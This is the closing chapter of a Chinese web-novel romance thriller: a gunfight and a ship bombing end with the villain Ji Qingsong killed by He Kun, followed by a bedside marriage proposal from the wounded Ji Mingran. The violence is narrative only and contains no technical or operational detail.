“阿琨!走。”纪明冉的声音贴着贺琨的耳廓响起,将贺琨搂入怀中后,带着失而复得的急切。 “拦住他们!给我杀了他!杀了纪明冉!!”纪清嵩的声音因为极度的愤怒而变调。 子弹如雨般密,不停歇地打在门框和墙壁上,溅起碎屑。 纪明冉的手下从破碎的窗口不断进入,他半揽住贺琨往记忆中的门的位置撤离,自己则侧身掩护。 手中的枪在黑暗中连续点射,精准地压制着追出来的火力。 走廊里同样一片混乱,但借着微薄的月光,能隐约看到身穿黑色作战服,佩戴着特殊夜视装备的人影正在快速清理纪清嵩的手下,宋榄的人。 “纪先生!”一个矫健的身影迅速靠近,正是肃江,他带着宋榄的人攻上来了,眼神中带着莫名的兴奋,“顶层基本控制,甲板还在交火,我们的人正在肃清。” “货舱有炸弹,时间不多了,”纪明冉语速极快,“快速清场撤离。” 贺琨安装在货舱的炸弹,足以撕裂这艘巨轮的核心区域。 肃江二话不说,立刻明白了事情的严重性,掩护着两人朝着最近的紧急通道口而去。 空气中弥漫着硝烟、血腥和海水咸腥混合的味道,肃江对这艘船的构造似乎非常熟悉,在摇晃的船体和刺耳的警报声中,几人速度极快,沿着紧急通道直奔船尾。 船尾处相对开阔的卸货平台,一架小型直升机正悬停在离甲板不远的海面上空,螺旋桨卷起的狂风哗哗直响,软梯自机身垂落。 就在这时,一个身影如同鬼魅般从船尾更高层的甲板边缘冒出,不知用了什么重型械备,直升机直接在空中炸开。 热浪猛地席卷而来,纪明冉忙抱住贺琨扑到最近的掩蔽物后。 剧烈的咳嗽在耳边响起,贺琨忙着转身查看,纪明冉唇边沾染些点点血沫。 贺琨的心脏猛地提起,惧意使他的声线轻微颤抖:“纪明冉?” 纪明冉强咽下涌上嗓眼的血,费力地撑开眼,从小臂到手背都被刮蹭得皮肉翻卷,他没感觉似的,抬手擦掉贺琨脸颊的灰烬。 “等船来接应,别怕。” 贺琨怕什么,要是怕就不会孤身涉险,他心疼地捞起纪明冉的手,怕的明明是纪明冉,敏感又拧巴。 杂乱的脚步声和枪声愈来愈近。 呼吸扯着后背痛,应该是爆炸导致什么利器插嵌近后背了,纪明冉忍着痛意环视周围,这里刚好是个死角,回头道:“你在这里躲好。” 他将满膛的手枪递给贺琨,纪清嵩跟过来了,贺琨沉默着跟上。 纪明冉转身,将人按回去,直勾勾地看着贺琨,疯了似的,“不许出来,否则我不得好死,尸骨无——” 哪有人这么说话的,贺琨吓得直接将纪明冉的嘴捂住。不说完的话不作数。 “我不乱走,我不乱走,行吗?” 纪明冉离开了,他的方法很奏效,贺琨确实没有再跟上。 纪清嵩的人不知道为什么突然反扑了,明明是有利的局面却被压制到船尾,拼得两败俱伤才堪堪守住。 纪明冉刚出现,就被纪清嵩盯住了,他被贺琨击中的手血肉模糊的一片,鲜血直流,对他本人而言,似乎真的无感。 “他在那儿!杀了他,重赏!”纪清嵩声音里满是恨意,甚至尖锐刺耳。 纪明冉已经成了他的心魔,此人不死,他就是行尸走肉,没法真的活着。 纪清嵩手下那些亡命之徒,大都早就失了心,不把人当人了。 不杀出去就是死,被激起凶性后,攻势更加疯狂。 子弹如同骤雨般倾泻而来,打在周围的金属舱壁和甲板上,溅起刺眼的火花和碎屑。 贺琨躲在掩体后,没有走出纪明冉指定的范围,心脏却随着外面激烈的枪声狂跳,血腥的气味无时无刻不在敲打他的神经。 他死死攥着纪明冉塞给的枪,向来不信神灵的贺琨,却被纪明冉的一句话困住了。 外面的枪声似乎短暂地稀疏了一下,紧接着是几声沉重的闷响和人体倒地的声音,距离非常近。 贺琨的心提到了嗓子眼,他忍不住地小心探出头,借着远处燃烧的船体发出的火光,看清了眼前的一幕。 纪明冉背靠着一段扭曲的金属管道,单膝跪地,右手持枪勉强支撑着身体。 后背肩胛骨下方的位置似乎有什么伤口,随着喘息微微闪着冷光,每一次起伏都带出更多的鲜血,将他整个后背染红了一大片。 纪清嵩的状况也好不到哪里去,半边身子全都是血,但竟然还能站立,疯疯癫癫的。 “下地狱去吧,纪明冉!” 视线被血液模糊,全身上下都在疼,纪明冉连抬枪的力气也没有了。 只为了拖延时间等待久远,生死的瞬间,他看向远处的海面,身后是他的爱人。 海风比前半夜温和,似乎要破晓了,火还在烧,焦味混在血腥味中,海风扑不散。 纪明冉没有力气抬起手臂,想起黑暗里贺琨的吻,他笑得近乎轻盈。 原本就是偷来的一生啊。 他没有阖眸等待死亡,倒下前还有个自私的心愿,再看一眼吧,就一眼,很快,偷偷的。 “不,不不” 贺琨不自觉地发出声,他似乎又听见纪明冉的呓语,说那个冬天很冷很痛。 他慌张地冲出了掩体,瞬间将纪明冉推倒。 贺琨只答应了不乱跑。 但他要一定杀死纪清嵩,必须。 “噗嗤!”“砰!” 两声异响几乎同时响起。 贺琨射出的子弹擦着纪明冉的耳边飞过,嵌入了纪清嵩的胸膛。 而纪清嵩射出的子弹,因为纪明冉的侧倒,直接穿过空气,击中了后方的船体,与金属共振作响。 贺琨握住纪明冉的右手,抬起枪械,朝着跪倒挣扎的纪清嵩,扣下扳机,正中眉心,那人彻底失去生机。 纪明冉就此打破命定的结局。 —— 纪清嵩死了,肃山带人很快将余孽清理,所有人均已撤离回救援的船只疗伤整顿。 最后的爆炸声响起,火光映亮天空,纪清嵩以及他满船的罪孽沉入海底永寂。 破晓前,微弱的光洒进窗户安静的房间内,在纪明冉苍白的侧脸切出明暗,蹙眉似陷在浅梦衬得那张脸脆弱又好看,让人不敢出声惊扰。 贺琨杵着脑袋,半梦半醒间,脑袋忽地一坠落,惘然中,他听见了纪明冉的呼吸声。 于是缓缓地爬上床,躺到纪明冉身边,贴近,感受着属于另外一个人的心跳。 不知过了多久,纪明冉的手指轻轻颤了颤,醒来时,熟悉的味道就萦绕在鼻息,阿琨就在身边。 “算。” 安静的房间里,闭着眼的贺琨没头没尾地说了句。 刚醒的纪明冉愣神了两秒,忽地意识到贺琨在回答货舱里的问题,嘴角的笑都没有压住。 某人得寸进尺,故意露出染血的绷带,泛红着眼眶,“那可以结婚吗?” 贺琨睁开眼,对味了,这熟悉的感觉。 “阿琨为什么不说话,是想找其他人结婚吗?”纪明冉善解人意地问,听起来是这样的。 不安分的手还在腿根偏执地揉捏,没有语气里那么大方,贺琨体贴病人,柔声哄:“不和其他人结婚,别多想,先好好养伤。” 纪明冉眉心舒展,不过两秒,再次拧起来,不顾肋骨的伤口,埋进贺琨怀里,眼底幽深暗沉,闷闷道:“不是其他人,是辛晓源吗?” “?” ……这都是什么时候的事了,纪明冉肯定早就调查得一清二楚了,关于他和晓源相识的整个过程,说不定都倒背如流。 贺琨将纪明冉按回去,以免扯到伤口会痛。 “贺琨只喜欢、只爱纪明冉,也只会和纪明冉结婚,知道吗?” 破晓时分,明亮的橙与靛蓝的夜幕交汇之际,贺琨说出纪明冉最想听的回答。 (全文完)